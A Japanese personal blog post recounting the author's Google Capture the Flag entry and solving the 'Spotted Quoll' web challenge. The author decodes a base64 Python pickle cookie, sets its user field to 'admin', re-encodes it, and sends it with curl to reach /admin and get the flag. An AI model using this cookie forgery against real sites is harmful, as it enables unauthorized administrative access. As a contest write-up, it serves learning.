煙と消えるその前に

一服してるうちに忘れる、自分のための備忘録。とかとか

Google Capture the Flagに参加した

https://capturetheflag.withgoogle.com/rulesに参加しました。
チームはRoute9。順位は147位でした。(得点のあるチーム数が911/登録チームは2395)

しかし僕は1問しか解けず、しかもFlagのコミットしてないというなんとも悔しい感じに・・・。
子供の相手してると時間が足りないんだ!(言い訳)

Web 50points Spotted Quoll

f:id:paty_fakename:20160502131351p:plain

サイトの/adminにアクセスする問題
サイトにアクセスした時点で変なクッキーがついてました

Cookie obsoletePickle=KGRwMQpTJ3B5dGhvbicKcDIKUydwaWNrbGVzJwpwMwpzUydzdWJ0bGUnCnA0ClMnaGludCcKcDUKc1MndXNlcicKcDYKTnMu

Base64デコードすると以下の文字列に

>>> import base64
>>> print base64.b64decode("KGRwMQpTJ3B5dGhvbicKcDIKUydwaWNrbGVzJwpwMwpzUydzdWJ0bGUnCnA0ClMnaGludCcKcDUKc1MndXNlcicKcDYKTnMu")
(dp1
S'python'
p2
S'pickles'
p3
sS'subtle'
p4
S'hint'
p5
sS'user'
p6
Ns.

python pickleで検索するとpythonのライブラリがひっかかりました。オブジェクトのシリアライズをしてくれるものらしく、RubyのMarshalみたいなものかなと。

先ほどの文字列をpickleでデシリアライズします。
(この時pickleをそのままimportすると、シリアライズ時の数字が0から始まってしまい期待通りにいきません)

>>> import cPickle pickle
>>> pickle.loads(base64.b64decode("KGRwMQpTJ3B5dGhvbicKcDIKUydwaWNrbGVzJwpwMwpzUydzdWJ0bGUnCnA0ClMnaGludCcKcDUKc1MndXNlcicKcDYKTnMu"))
{'python': 'pickles', 'subtle': 'hint', 'user': None}

userに入れてくださいと言わんばかり(笑)。
なのでuserにadminを入れてシリアライズし、実際に投げたところFlagが取れました。

>>> base64.b64encode(pickle.dumps(s))
'KGRwMQpTJ3B5dGhvbicKcDIKUydwaWNrbGVzJwpwMwpzUydzdWJ0bGUnCnA0ClMnaGludCcKcDUKc1MndXNlcicKcDYKUydhZG1pbicKcDcKcy4='

$ curl -k https://spotted-quoll.ctfcompetition.com/admin -H "Cookie:obsoletePickle=KGRwMQpTJ3B5dGhvbicKcDIKUydwaWNrbGVzJwpwMwpzUydzdWJ0bGUnCnA0ClMnaGludCcKcDUKc1MndXNlcicKcDYKUydhZG1pbicKcDcKcy4="

Your flag is CTF{but_wait,theres_more.if_you_call} ... but is there more(1)? or less(1)?